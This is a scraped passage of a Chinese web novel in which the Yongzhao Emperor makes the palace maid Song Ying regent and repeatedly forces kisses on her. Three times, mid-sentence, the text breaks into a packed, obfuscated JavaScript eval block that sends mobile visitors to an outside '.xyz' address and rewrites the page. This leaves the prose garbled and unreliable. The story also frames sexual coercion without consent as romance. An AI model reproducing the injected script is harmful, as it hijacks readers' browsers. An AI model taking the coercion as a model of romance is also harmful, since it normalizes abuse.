她以为重获信任是什么天大难的事,不得剥皮扒骨验真心? 没想到他居然把这么重要的事情扔给她? 宋迎抱着奏纸,步步思忖背后用意。 永昭帝对自己身体了解甚笃,应该是虚弱的不能上朝了,又不愿大权旁落。 再加上,润德公公生了病,没人可用才用的她。 等润德公公病好,自己就不用干这苦差事了。 ……算了算了。 总好比卷进主线剧情要命强。 思及此,宋迎不敢耽搁,一路小跑,奔回了万春殿。 永昭帝还躺在床榻上,一身素白寝衣,领口微敞,露出一段锁骨。 病气非但没折损气场,反而衬得那双眸子愈发黑沉吓人。 宋迎头皮一麻,连忙跪下。 双手奉上奏纸:“陛下,奴婢回来了。” 头顶迟迟没有动静。 那叠奏纸压得她手臂发酸。 宋迎刚想开口再说些什么,眼前蓦地一黑。 一股不容抗拒的力道,猛地将她从地上拽起。 “啊——” 她惊呼一声,手中奏纸瞬间脱手,漫天纷飞。 下一瞬,一个吻,重重压了下来。 22. 第 22 章 唇齿相抵,尖锐痛感之后,有股淡淡腥甜。 挣扎是徒劳,呼吸亦是奢望。 窒息感渐渐漫上,宋迎无措的双手,下意识攀上胸膛,攥紧了那身寝衣。 布料被她抓得起了皱,从锁骨一路向下拉扯。 她怕得浑身发软,永昭帝瞳孔明明没有变成金色,那股失控暴戾也不在,可他为什么…… 宋迎不明白。 原书剧情里,永昭帝的确身中剧毒,身体虚弱。 难道这也会影响五感六识? 难道他需要更深、更剧烈的安抚,才能平息? 宋迎快要昏死过去,蛮横力道却忽然撤去。 永昭帝瞬间掌握了接吻要领。 狂风骤歇,春潮漫过,像是蛊惑,引诱着她忘记反抗,忘记恐惧。 须臾之间,她终于得以喘息,却转而吸入更多灼热。 战栗窜上,酥麻了身体。 宋迎诡异地从中感受到了快乐。 这种背叛感,远比被强迫更让她心惊。 理智,在最原始的本能面前,竟然真就如此不堪一击。 攥紧衣襟的手,不知何时松了力道,指尖虚虚地,贴着他胸膛。 布料下的心跳,沉稳有力。 她的手无处安放,慌乱中,指腹倏然擦过微硬的弧度。 身上禁锢的力道,骤然一松。 宋迎茫然后撤。 唇上一片湿热,又麻又肿。 她抬手去抹,却见一缕晶莹连接两人唇角,随着她身体后仰,拉出一道暧昧水光,欲断还休。 几滴还未咽下的口水,顺着下颌滑落,滴在锦被上,迅速晕开一小团湿痕。 宋迎:………… 永昭帝也看见了。 他的视线,从那抹水光,缓缓移到她微微开合的唇上,最后,一瞬不瞬地盯着那点湿痕。 胸膛起伏的弧度愈发剧烈。 胸口触感犹在,战栗犹在。 他重重咽了口唾沫。 又涨了几分,永昭帝眸色沉郁,蹙了蹙眉。 宋迎被他看得头皮发麻,目光逃窜,却不小心掠过了他腰腹以下。 她猛地抬眼,正好撞进那双盛满欲望的眼眸里。 她知道了。 他也知道,她知道了。 “奏报。” 他声音沙哑,强行斩断了这根弦。 宋迎连忙从床榻上爬了下去。 她不敢看他,只低着头,将散落一地的奏纸捡起。 重新理好,双手奉上。 “回陛下,今日朝议,主要为了淮南水患。户部奏请,调拨赈灾银三十万两,米粮三十万石。” “兵部则认为,大灾之后必有流民之乱,请旨南下弹压,以防民变。” 宋迎将各方争论一一道来。 谁的观点,谁的附议,谁的反驳,说得条理分明。 却将自己如何被高伯深为难,如何被群臣围攻,只字未提。 向上汇报,只说工作成果和核心矛盾,过程的委屈和功劳,除非老板主动问,否则提了就是邀功,就是卖惨。 是大忌。 宋迎将奏报往上递了递。 永昭帝接了过去,翻动着纸页,却迟迟没有说话。 宋迎也不敢动,只能维持着跪姿。 “在朝上,”他终于开口,“那些老东西,没让你受委屈吧?” 老板来问了! 宋迎心下一惊,伏下身,额头轻抵手背。 “奴婢是代陛下听政的耳目,朝中诸位大人皆是忠君体国之辈,所争辩者,无非国事。” 宋迎还是不敢提朝堂上的事。 她不相信狗皇帝真的会为她解决什么,顶多就是安慰几句,起不到实质性的作用。 多说多错,不如不说。 话音刚落下,她就听见了一声笑意。 “呵。” 那笑声,凉飕飕的。 还没反应,她手腕一紧,宋迎又被拉回了床塌。 这次的吻,很短暂。 他只在她惊恐呜咽中,攫取到那一丝甘甜,便退了出来。 但永昭帝并未完全退开,依旧以一种绝对禁锢的姿态悬在她上方。 看着她迷离喘息,乌黑眼眸漾起一点病态的笑意。 “你既已察觉,朕便不瞒你。” 指腹碾过嫣红微肿的唇瓣。 “这样,”他将沾染了津液的指腹送入口中,微微眯起眼,“效用最佳。” 燕贼下的毒确实霸道,轻而易举地就能勾起兽性。 但—— 也是自那日起,他发现了。 她的津液,能更快、更彻底地抚平他骨血中的躁郁。 当然,他心里清楚,单是她待在身边,那股气息也足以镇压失控。 可镇压,与抚慰,终究是两回事。 他贪恋的,是那柔软的触感,是她惊慌的颤抖,更是那无色无味中,被他品出的一缕甜。 天子之躯,金尊玉贵。 自然是怎么舒坦怎么来。 至于她是否愿意, 从来就不在他考量之内。 “往后,”他凝视着她,“每日自朝上回来,你都需如此,为朕侍药。” 宋迎的睫毛颤了颤,在那戏谑的目光下,她点了点头。 永昭帝很满意她这副温顺姿态,这才松开钳制。 “退下吧,奏报留下。” 宋迎一言不发,整理好衣衫。 下榻,退后,转身。 亲一下而已,就当被狗咬了。 天天亲,就当天天被狗咬。习惯就好。 她的世界观,对于羞耻度的阈值很高。 只要保住这条命,其余的皮肉之苦,算不了什么。 这本来就是一本限制文,作为炮灰,没搞出什么限制级剧情已经很好了! 宋迎这么安慰自己,心却越跳越快,震得她耳膜生疼。 而殿内,永昭帝将那本奏报,搁在一旁。 他抬起手,指尖凑到唇边,仿佛还留着方才的触感和滋味。 嗯,是她的味道。 他唇角勾起一抹笑,心情颇好地重新翻开了奏报。 这些老东西,不过是想借此试探朕的虚实。 既然你们想看,朕就给你们送上一份大礼。 * 次日,金銮殿。 宋迎仍旧是那身鸦青长袍,穿行于两列朱紫官服之间。 她踏上御阶,在长案后站定。 还未等她循例开口,便见一朝臣出列。 “臣,有本要奏!”他声如洪钟,“臣,弹劾万春殿宫女宋迎,妖言媚上,其心可诛!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15879000|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣附议!”有人紧随其后,“一介婢女,竟能代天子听政,定是用了什么见不得光的狐媚手段,蛊惑圣听!” “请陛下下旨,将此妖婢打入天牢,明正典刑!” 一时间,群情激奋。 弹劾奏章一桩桩一件件,罪名扣得比天还大。 宋迎眉心微皱,她不是没有设想过此类场景。 她伸手拿笔,在一方空白纸上,缓缓落下。 “诸位大人的弹劾,奴婢记下了。”她写完,将笔搁下,抬眸,看向阶下众人,“稍后,奴婢会将这些,连同诸位大人的肺腑之言,一字不漏,转呈陛下御览。” 她没有为自己辩解一句。 高伯深死死盯着宋迎,怒极反笑,“那我倒要问你,你既为陛下耳目,可知昨日十万火急的淮南水情,陛下是如何批复的?!” 宋迎眼皮跳了跳,关我屁事,那个狗皇帝只顾着折腾她,哪有空批什么奏折。 她稳住心神,淡淡道:“陛下尚未圣裁。” “尚未圣裁?!” 高伯深等的就是这句话,他声音陡然拔高,面向众臣振臂一呼,“诸位都听见了!陛下已三日未临朝,如今连淮南灾情都置之不理!我等身为臣子,心急如焚!理应入宫侍疾,叩问圣安!” 这番话极具煽动性,瞬间点燃了群臣的情绪。 “首辅大人所言极是!我等恳请面见圣上!” “若妖婢当道,蒙蔽圣听,我等便长跪于此,以死明志!” 来了。 图穷匕见。 他们的真正目的,根本不是弹劾她,而是要逼宫,要亲眼确认皇帝的状况。 呼声排山倒海,黑压压的臣子跪倒一片。 那股凝聚起来的压力,如同一座大山,朝着长案后的宋迎轰然压下! 宋迎握着笔的手,终于控制不住地开始颤抖。 她嘴唇翕动,正想说些什么。 就在这时,一道尖细高亢的唱喏,划破了满殿喧嚣。 “圣——旨——到——!” 这一声,让所有人的动作都僵住了。 金銮殿内,瞬间落针可闻。 众人循声望去,只见殿门外,润德公公手捧明黄圣旨,缓步走入。 他径直走到御阶之下,扫了眼跪了一地的文武百官。 对着宋迎微微躬身行礼,而后转身,面向群臣,展开了圣旨。 高伯深看着御前大监对一宫女行如此大礼,心中咯噔一下,却也只能不情不愿地俯首叩拜。 “臣等,恭迎圣旨。” 宋迎也连忙放下笔,走到一侧,跪地听宣。 润德公公清了清嗓子: “奉天承运,皇帝诏曰。” “……万春殿宫女宋氏迎,聪慧敏达,德才兼备,克成大任。于朕病中,代为听政,从容镇定,有安社稷之功。” “兹闻众卿非议,朕心甚忧。为定国本,安朝局,特下此诏——” 润德公公微微一顿, “即日起,敕封宋氏女宋迎,为‘摄政王’!” “代朕——执掌朝政,总领百官,凡军国大事,皆由其决断,如朕亲临!” “钦此——!” 钦此二字,如惊雷炸响。 高伯深猛地抬头,那张素来威严的脸上,第一次显出龟裂般的震惊。 满殿死寂。 23. 第 23 章 昨日。 朝会方散。 隐卫先一步到了万春殿,跪地殿中央,玄色身影与阴影相融。 “……高伯深言,宫婢参政,秽乱朝纲,实乃国之将亡之兆!” 他一字一句,复述着高伯深一党是如何罗织罪名,如何将宋迎逼至绝境。 永昭帝支着额角的手指缓缓收紧。 每听一字,眼底温度便降下一分。 直到他听闻宋迎上如何驳斥高党,又是如何从中阚璇,沉郁脸色才稍稍好些。 他病得这些年,高党盘根错节,几乎占了大半朝堂! 如今他才重掌朝印几天?这帮老狐狸又迫不及待来试探他的底线。 这哪里是冲着宋迎,分明是冲着他来的! 宫婢临朝,确实名不正,言不顺。 身份…… 他必须要给宋迎一个身份。 女官? 品阶太低,高伯深之流官阶在她之上,压制不住。 那么……后妃? 永昭帝神色倏然一松,他是动了心思的。 是了,赏个贵妃的名头。 天子枕边人,这个分量足以让那群老狐狸掂量再三。 只是…… 这个法子治标不治本。 一旦开了这个口子,难保不会有人借着“雨露均沾”的名头,往后宫塞人。 先前吏部,便是前车之鉴。 思来想去,定要给个既能威慑高党,又不会给人留有把柄的身份才是。 这个念头过于惊世骇俗,连永昭帝自己都觉得荒唐。 他几乎能想象的到,旨意颁下,那群老东西脸上的精彩表情。 不, 思绪忽然一转,他发现自己更期待的,竟是宋迎的反应。 他期待着,看似柔顺的猫,在他的纵容下,是亮出利爪,还是惊慌失措,竖起尾巴上的毛? 想到此处,永昭帝脸上浮现了一丝无人能懂的笑意。 还跪着的隐卫:? 隐卫见他神色变幻,最终竟还笑了出来。 该不会陛下方才没听第二份密报吧,连问了两遍都不理人。 隐卫揣摩一二,又补充了关键细节,重新说道: “陛下,御前宫女傅氏、尚食司一人已查明为燕党内应,身葬火海。” “那日溜入宫中的刺客,女的在逃,男的已经落网,尚有一口气在。” 他顿了顿,第三次问道:“不知陛下,如何处置?” 永昭帝终于回神,眼底笑意瞬间敛去。 他依稀记得,那人使得是剑云宗的剑法,功力不低。 “别让他死了,”永昭帝的声音更冷,“嘴撬开之前,用最好的药吊着命,慢慢磋磨。” 说罢,他拂袖挥手,示意隐卫退下。 天子垂眸,一个足以颠覆整个王朝的疯狂念头,已然成型。 * 声音隔着一层,遥远得像是上辈子的事。 宋迎耳内嗡鸣,自己也不知是何时接过的圣旨。 但这圣旨勒着呼吸,压得她眼前阵阵发黑。 摄政王? 乱套了全都乱套了! 那个狗皇帝简直就是不顾纲常伦理的疯子—— 自古摄政王皆是皇亲国戚才能担得,她一个宫婢,怎么能摇身一变成了亲王?还是与君主同尊的摄政王? 这不是恩赏。 这是要让她死! 这是要把她变成所有朝臣的眼中钉肉中刺! 这算什么, 狗皇帝的马前卒?替他吸引火力的靶子? “殿下,” 润德公公对她的称呼都变了,“接了旨,便该上座了。” 宋迎跪得腿麻,还是由润德公公搀扶起身。 松手刹那间,润德公公不着痕迹地,捏了捏她手背。 宋迎猛地抬眼,眸中满是惊惶。 润德公公却只是对着她,微不可查地摇了摇头。 宋迎的心,瞬间沉至谷底。 退无可退, 退无可退。 退无可退! 既然如此…… 宋迎深吸一口气,转身捧着那道圣旨,一步一步,走上御阶。 百官的目光如芒在背。 这一次,她没有停在长案之后,而是越过了它,径直走到了那张九龙宝座前。 在满朝文武的注视下,她缓缓转身,面向阶下众人。 鸦青长袍衬得她身形单薄,可她立在那里,脊背却挺得笔直。 她没有立刻让众人平身。 目光缓缓扫过阶下众人。 “本王,奉旨摄政。” 宋迎高举圣旨,终于开口,“诸位,往后,还请多多指教了。” 说罢,她将那面旨意放在御案上。 润德公公立刻高声带头叩拜:“恭贺摄政王殿下!殿下千岁千岁千千岁!” 有了润德公公带头,百官们面面相觑,再不情愿,也只能跪了下去,山呼千岁。 “平身吧。”宋迎说,“国事要紧,继续议事。” 高伯深冷哼一声,圣旨已下,硬顶是没用了,那就只能用这朝堂的规矩,来磨一磨! 他就不信,一个黄毛丫头,真能懂得这治国安邦的门道! 高伯深眼皮微抬,一个隐晦的眼神递了过去。 户部侍郎张启立刻心领神会: “启禀殿下!昨日淮南水患,悬而未决!灾民流离失所,饿殍遍地,急需朝廷赈济啊!” “敢问殿下,国库拨银三十万两,调粮三十万石,您是批,还是不批?” 这还没完。 张启不等宋迎回答,语速更快: “另,淮南已有流民啸聚山林,恐生民变。京营三千精锐已在城外待命,敢问殿下,这兵,您是派,还是不派?” 批,国库空虚的罪名她背。 不批,置灾民于不顾的罪名她也得背。 而出兵更是两难。 派兵弹压,便是酷吏暴政,屠戮子民; 不派兵,一旦流民哗变,就是姑息养奸,致使社稷动荡! 怎么选,都是错。 高伯深垂下眼帘,他等着看这个丫头如何出丑,如何摔个头破血流。 另一侧,一个身影自队列中走出。 正是前几日被高党联名举荐,风头正盛的工部右侍郎,刘靖。 他对着咄咄逼人的张侍郎拱了拱手,摆出一副和事佬的姿态。 “张大人稍安勿躁。” 随即,他转向宋迎,躬身一拜。 “启禀殿下。淮南水患,牵一发而动全身。银钱数目巨大,派兵与否更是关乎国本。殿下初掌大政,于此等军国大事,不宜仓促决断,以免落人口实。” 他言辞陈恳: “依老臣之见,不如将此事暂且搁置,交由三省会审,共同拟出一个万全之策,再呈报殿下御览定夺。” 这话听着是处处为宋迎解围。 可大殿之上,谁不是人精? 这分明是趁她立足未稳,借解围之名,行夺权之实! 一个唱红脸,一个唱白脸。 一个将她逼入绝境,一个再递给她一条活路。 配合得天衣无缝。 日哦! 宋迎在心里,已经把那个远在万春殿看戏的男人骂了一万遍。 她当然知道,凭她自己,根本斗不过这满朝的老狐狸。 她也知道,自己不过是狗皇帝为了平衡朝局,随手推出来的一枚棋子。 所以,棋子,就要有棋子的觉悟。 若是真被权力迷了眼,大包大揽,只怕不等高党动手,那个生性多疑的狗皇帝,就会第一个让她人头落地。 这哪里是什么难题,这分明是他抛下的又一个饵。 试探她是否忠心,是否安分。 想通了这一层,宋迎她缓缓走下两级台阶,缩短了与阶下百官的距离。 “刘大人,张大人。”她微微颔首,语气坦然,“二位所言,皆是谋国之言,本王受教了。” 她摆出谦逊姿态。 “说来惭愧,本王骤登高位,于钱粮兵马这些军国大事,实在是……一窍不通。” 此言一出,满场皆静。 刘靖和张启对视一眼,都在对方眼中看到了一丝得意。 高伯深眼中的轻蔑更甚,果然,不过是个没见过世面的丫头,被他们一吓唬,就自己先乱了阵脚,连场面话都说得如此直白。 到底是个上不得台面的东西。 然而,宋迎话锋一转。 “但本王虽不懂,却听得见,也记得住。” 她的目光,第一个就落在了户部侍郎身上。 “张侍郎,本王问你。昨日你上奏需银三十万两,可有人当场反驳,言账目不清,恐有人借赈灾之名,中饱私囊?” 张侍郎脸上得意一僵,没想到她会突然发难,下意识地点头: “……是。” 她的视线又转向另一人,“李将军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889311|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上奏需派兵弹压,可有人当场反驳,言此举等同于将灾民视为叛匪,只会激化民怨,酿成大祸?” 被点名的李将军面色一沉:“……有。” 两个问题,便让方才还气势汹汹的二人,气焰全消。 而宋迎的目光,最终越过众人,定在百官之首——高伯深的身上。 “高首辅,您乃百官之首,三朝元老,圣上最倚重的股肱之臣。”宋迎镇定自若,透着上位者的威仪,“昨日朝会,为这银钱与兵马之事,诸公争执不休。” 她向前一步,那鸦青袍袖无风自动,凛然发问: “那么,您,有何高见?” 高伯深脸色铁青。 他见形势不对,自然不会硬接这招,“老臣……” 宋迎却根本不给他机会,倏然打断:“刘大人!” 她视线从高伯深身上移开,落在了刘靖身上。 “刘大人说,要暂缓商议,拿出万全之策。本王想问,何为万全?又要暂缓多久?” 不等刘靖回答,她声音陡然拔高: “你们在朝堂上多商议一日,淮南的堤坝便多塌一寸! “你们在这里多推诿一个时辰,便有多一户百姓家破人亡,沦为流民!” 她向前踏出一步,步步逼近。 “刘大人,你这‘万全之策’,究竟要拿多少条人命去填?!” 最后一句,几乎是呵斥! 刘靖被她一番抢白,逼得连连后退,顿时面如土色,嘴唇嗫嚅着,一个字也说不出来。 金銮殿内,死寂无声。 满朝文武的目光,此刻都聚焦在宋迎身上。 她未施粉黛,那双清冷的凤眸里,却仿佛燃着滔天业火,让人不敢直视。 宋迎冷冷环视,将所有人的惊惧、忌惮、犹疑,尽收眼底。 是时候了。 她忽然笑了。 “好了,”宋迎轻描淡写地一挥手,“诸位不必再吵,怪伤和气的。” 她走回上首。 “此事,圣上早已心有定论。旨意,今日便会下达各部。” 她没有说是什么旨意,也没有给任何人追问的机会。 宋迎不再看任何人,只淡淡道: “诸位若无异议,今日,便到此为止。” 她一拂袍袖。 润德公公心领神会,拉长了声音。 “退——朝——” * 长长宫道上,日光被屋檐切成道道阴影。 方才金銮殿内的惊心动魄,也被尽数吞噬。 润德公公的脚步很慢。 宋迎便也放慢了脚步,与他并行。 “公公,”宋迎先开了口,“您的身子好些了吗?今儿这事,本不该劳动您的。” “殿下说的哪里话,”润德公公笑了笑,“劳殿下挂心。老奴这把骨头还撑得住。” 他顿了顿,由衷赞叹道:“不过,殿下今日在朝上的风采,真是让老奴大开眼界。” 宋迎长舒了一口气,那股强撑起来的凌厉劲儿瞬间散了个干净,露出了几分女儿家的愁苦。 她拉了拉润德公公的袖子,软软抱怨道:“公公就别笑话我了,也别再‘殿下、殿下’地叫了,听着好别扭。” 刚才在殿上,她手心全是冷汗,现在想起来还怕呢。 润德公公被她这难得的娇憨模样逗笑了,又拍了拍宋迎手背。 “好,好。宋小姑娘心里再怕,面上也是撑住了。这,便是天家的气度。” 他见宋迎仍旧蹙着眉,循循善诱道:“凡事都有两面。小姑娘如今站在了这个位置上,只看到风高浪急,怎么不想想,站得高,也能望得更远呢?” “望得远?”宋迎有些迷茫。 “是啊,”润德公公笑呵呵的,“譬如殿下身居高位,便能做些从前想做,却做不到的事。” “这难道不是好事吗?” 话音刚落,偏殿已在眼前。 润德公公停下脚步,躬身作揖:“这身素服,到底不合如今的规矩了。” “换好衣裳,别忘了去万春殿谢恩。陛下……可一直等着您呢。” 宋迎颔首,“多谢公公提点。” 润德公公走后,宋迎推门而入。 桌案上,一袭绀黄色四爪蟒袍叠放着,金线绣成的蛟龙鳞片闪着幽微冷光。 袍服入手,是意料之外的沉重。 她将它在身前缓缓展开。 尺寸,分毫不差,仿佛是为她量身打造。 24. 第 24 章 哎,事已至此,先吃饭吧。 大早上体力都消耗光了。 宋迎都饿了。 她吩咐小太监去膳房取一盏烤梨来。 等人退下,目光复又落回那身亲王朝服。 四爪蛟龙踏云,凶悍华美。 摸上布料,宋迎这才有了自己获封摄政王的实感。 恐惧褪去,现在的她隐隐有些兴奋。 这是一种从未有过的,将权柄握于手中的滋味。 哪怕只是暂借,也足以让人战栗、让人……上瘾。 这念头一起,她指尖都有些微微发麻。 宋迎没有想到,在这“剧情空白期”的自己,身为路人甲的自己,居然可以成为一品亲王。 这是她从未设想过的高度。 可她位居高位已是事实。 在其位,则谋其事; 谋其事,方可保其位。 这已经不是她想躲就能躲掉的局面。 淮南水患耽搁了两日,她还骗他们说今天旨意就会下达各部。 今日若是不能哄骗永昭帝下旨,恐怕日后,她更震慑不住那帮老东西了。 无论如何,她都要让永昭帝给个解决方案。 思及此,小太监捧着一盏玉瓷碗回来了。 温热甜软的果肉下肚,宋迎补充完糖分,也有了些许底气。 她换上朝服,前往万春殿。 万春殿内。 明黄锦帐低垂,龙榻上空无一人,倒是御案后,传来细微声响。 宋迎敛目垂首,走上前去。 “臣……”仅仅只是自称,宋迎顿觉喉咙发紧。她强压下心口悸动,“……参见陛下。” 沙沙声未停。 良久,才有一个淡漠如远山寒雪的声音,飘了过来。 “走近些。” 宋迎依言上前。 永昭帝抬首,下一瞬—— 便被那抹绀黄攥住了目光。 身上不再是娇俏粉绿,一袭绀黄,比明黄稍暗,却比杏黄更尊,剥去青涩,添了几分挺拔气质。 宽大袍袖垂至膝下,行走间,袖口翻飞,露出内里暗红。 目光顺着那条四爪蛟龙盘旋而上,龙首昂扬,黑曜石所嵌的龙目,正隔着一截皙白脖颈,与他无声对视。 视线只敢灼烫一瞬,便上移撞入那双凤眸。 恬静澄光被华服一衬,竟然凝成一汪深潭,潭面无光自闪,透着凛然贵气。 她就这样,一步步走到他身边。 永昭帝停下了笔。 他肆无忌惮地打量着她,从清丽眉眼,一路描摹到她挺直的脊骨。 她未施粉黛,乌发仅用玉簪束起,却生生压住了这身威严,淬炼出独属于宋迎的清冽风骨。 他果真没有看错人。 永昭帝唇角,扬起一丝几不可见的笑意。 是满意,是骄傲。 她,是他的棋子,是他的人。 是他……权力的延伸。 “臣,参见陛下。” 宋迎走到案前三步处,站定,复又拱手行礼。 永昭帝稍稍收回目光,移至圣旨上的某个名字处。 他语调偏冷,“那个张启,上蹿下跳的,实在聒噪。就派他去淮南吧。” 宋迎一愣,准备了一路的腹稿,卡在喉咙里。 她还没提这事呢。 永昭帝继续道,“至于那三十万两赈灾银,让他自己想办法。三天凑不齐,”他顿了顿,语调更冷,“就让他自己去淮南堵堤坝!” 宋迎:! 敢情你都想好了啊,那她还要说啥啊。 憋了半晌,她只能熟练地吹起彩虹屁:“陛下圣明。” 然而,马屁拍到一半,宋迎顿住了。 ……不对。 他怎么什么都知道,是不是一早就派人在监视她? 永昭帝好整以暇地欣赏着她脸上的由惊转疑、由疑转惧,唇角的弧度愈发玩味。 “至于刘靖,”他一瞬不瞬地盯着宋迎,“……是个聪明人,懂得唱白脸。这种人,留着还有用。” “你先不必理他,让他自己掂量吧。” 他在教她如何分化、如何拉拢? 宋迎心口一窒,猛地抬头,才惊觉永昭帝一直看着她。 二人目光交汇。 永昭帝先一步移开视线。随即,将笔搁于笔山上。 稍稍让开半分身位,对宋迎抬了抬下巴:“来。” 来? 要、要她过去……做什么? 宋迎疑惑,却只能硬着头皮走上前。 刚一走近,手腕便被大手扣住—— 另一长臂伸出,人直接捞进他怀里,稳稳当当地按坐在腿上。 “别动。” 鼻息喷得宋迎耳朵发痒。 宋迎:…… 这、这剧本他对吗???!!! 她不敢挣扎,忽地,温热掌心攀上宋迎手背,带着她指尖,一点点引向那枚玉玺。 宋迎浑身僵硬,下意识便要将手缩回。 可手腕被死死按住,动弹不得。 她猛地回头,鼻尖堪堪擦过胸膛。 抬眼,只能望进他那双微微眯起的眼。 “臣、臣不敢……” “有何不敢?” “你今日在朝堂,不是很能说么,”永昭帝笑得胸腔发颤,震得宋迎后背冷汗直冒,“‘要拿多少条人命去填’……倒有几分朕的风范。” “陛下谬赞!”宋迎急急出声辩解。 “臣、臣当时怕得腿都软了,若无陛下圣旨在前,借臣一万个胆子,臣也不敢多言半字!” 她的表忠心的话还没说完,那只覆在她手背上的大手骤然施力—— “砰”,压着她手背,玉玺被按进了朱红印泥之中。 黏腻的触感,让宋迎心头狂跳。 “宋迎。” 永昭帝忽然连名带姓地唤她,“你到底,在怕什么?” 施加在手背上的力道分毫未减,仿佛下一瞬就要压断她的指骨。 上位者自然不会分神思虑下位者的处境。 就算豺狼,真就愿意费心费力揣摩羔羊的想法—— 终究是画骨画皮难画心,纸上谈兵罢了。 “君恩如山,臣……惶恐。”宋迎垂下眼,盯着那方玉玺,声音艰涩,“臣愚钝,至今仍不知,陛下为何要将臣置于如此高位?” 她咽了口唾沫,颤声道:“臣无知,才会畏惧。” “哦?”永昭帝轻笑一声,“你向来聪慧,怎会不知朕意?” 说话间,他手上力道再增,几乎是拖着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906269|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手,将那沾满红泥的玉玺,悬在了明黄圣旨的正上方。 落下,或不落下,只在他一念之间。 又或许…… 在她的一念之间。 他手上力道稍松—— 玉玺重重落定。 玉玺盖下的瞬间,宋迎猛地抽回了手! 她用了全身的力气挣脱,来不及站稳,便踉跄着后退两步,远离了那张龙案。 然后,宋迎对着高踞龙椅之上的帝王,端端正正地,跪了下去。 “为陛下扫清障碍,还陛下清明朝堂。” 永昭帝的手,还悬在半空。 掌心残留着她手背温软,和挣脱瞬间的力道。 他看着匍匐在地的宋迎,嘴角的笑意彻底漾开。 他偏偏要再逼她一步! “大胆!”永昭帝语气陡然转冷,“你的意思是,朕如今的朝堂,污浊不堪吗?” 这是诛心之言。 宋迎从容答道:“陛下,水至清则无鱼。可若一池之水,水质过肥,以至某一鱼类太过壮大,甚至吞食同类,那再清澈的表象,也不过是一潭死水。” “满池锦鲤之所以赏心悦目,不正是因其色彩斑斓,各异其趣,方能成就一派盛景吗?” 永昭帝挑了挑眉,终于从龙椅上起身,走至宋迎身前。 他俯下身,指尖轻轻抬起她下颌,迫使她仰视自己。 随即,掌心复又攀上她脸颊。 或许是之前失控的他太过骇人。 如今,宋迎倒有些免疫了。 宋迎顺势仰头,迎着永昭帝目光,望了回去。 永昭帝的眸色深了深。 “既然是朕的刀,”指腹摩挲着她腮边嫩肉,软得让他心尖发痒,“朕,自当予你无上之权。” “从今日起,三省六部一应事务,你可自行决断,不必事事汇报。” “不敢。”宋迎答得极快,“国之大事,岂容儿戏。” “不敢?”永昭帝凝视着她那双澄澈如镜的眼睛,“朕给了你滔天的权势,难道你就……没有一点点,自己想要的东西吗?” 这句话,既是试探,也是引诱。 宋迎长睫颤了颤,沉默了片刻。 “臣……想要一处园子,养些花草。” 永昭帝一怔,“……养花?” “臣的故乡在辽洲,气候不适宜养活那些娇嫩花草,” 说起家乡,宋迎肩线稍松,嘴角泛起一丝真切笑意。 “臣自小便羡慕书上说的满园春色。入宫许久,臣也从未踏出过这四方宫墙。不知来年开春,陛下可否准臣,去一赏御花庭满园春色?” 宋迎说得情真意切,那笑意晃得永昭帝微微花了眼。 连声音都不自觉地放软,“何须等到来年?如今,西苑的梅园开得正好。” “那园子……便赏了你罢。” 赏赐已下,按理她应该谢恩退下。 可宋迎仍跪在那里,迟迟没有告退。 那双清亮眼睛,仿佛有水光流转。 永昭帝的心跳,莫名漏了一拍。 他喉结滚动,正想开口说些什么—— 跪在地上的宋迎,忽然动了。 她用膝盖向前挪了一步,双手撑在他的腿上,借力仰头。 然后,吻了上去。 25. 第 25 章 那不像一个吻。 那称不上是一个吻。 一触即分,没有半分旖旎,更无一丝缠绵。 快得像场错觉。 宋迎还未站稳,便已抽身而退。 就像是在完成任务。 她毫不犹豫地后退两步,重新拉开君臣距离。 袍角委地,宋迎复又跪地。 她俯首道:“臣,谢陛下恩典。” 永昭帝的手还僵在半空,指腹上还残留着脸颊温软,唇上还印着方才温热。 他喉结滚动,看着跪地叩首的宋迎,竟一时失语。 他预想过她的反应。 或许是惊慌失措,或许是羞愤欲绝,又或许是故作姿态的迎合。 却唯独没有想到,她是如此平静的、坦然的臣服。 一瞬的快感又被刺痛。 心口像是被剜去了一块,留下个空洞,叫嚣着让他攫取更多、更多…… 可宋迎,已然行礼告退。 她背脊挺得笔直,步伐沉稳。 直到那抹绀黄身影,彻底消失在殿门尽头,永昭帝才如梦初醒,抬起手,用沾染过她温度的指腹,轻轻碰了碰自己的嘴唇。 御案上,朱红印泥还未干透,与墨香交织,散发出一股腥味。 一切,都还历历在目。 他让她走近,让她坐上他的腿,握着她的手腕…… 他最初的目的十分清晰—— 试探她,掌控她,将这枚棋子牢牢攥在手心。 高党既然往他身边安插眼线,他不如用宋迎,去搅混那潭脏水。 后来,当他发现她与燕党似有牵扯,那目的便变得更恶劣了些。 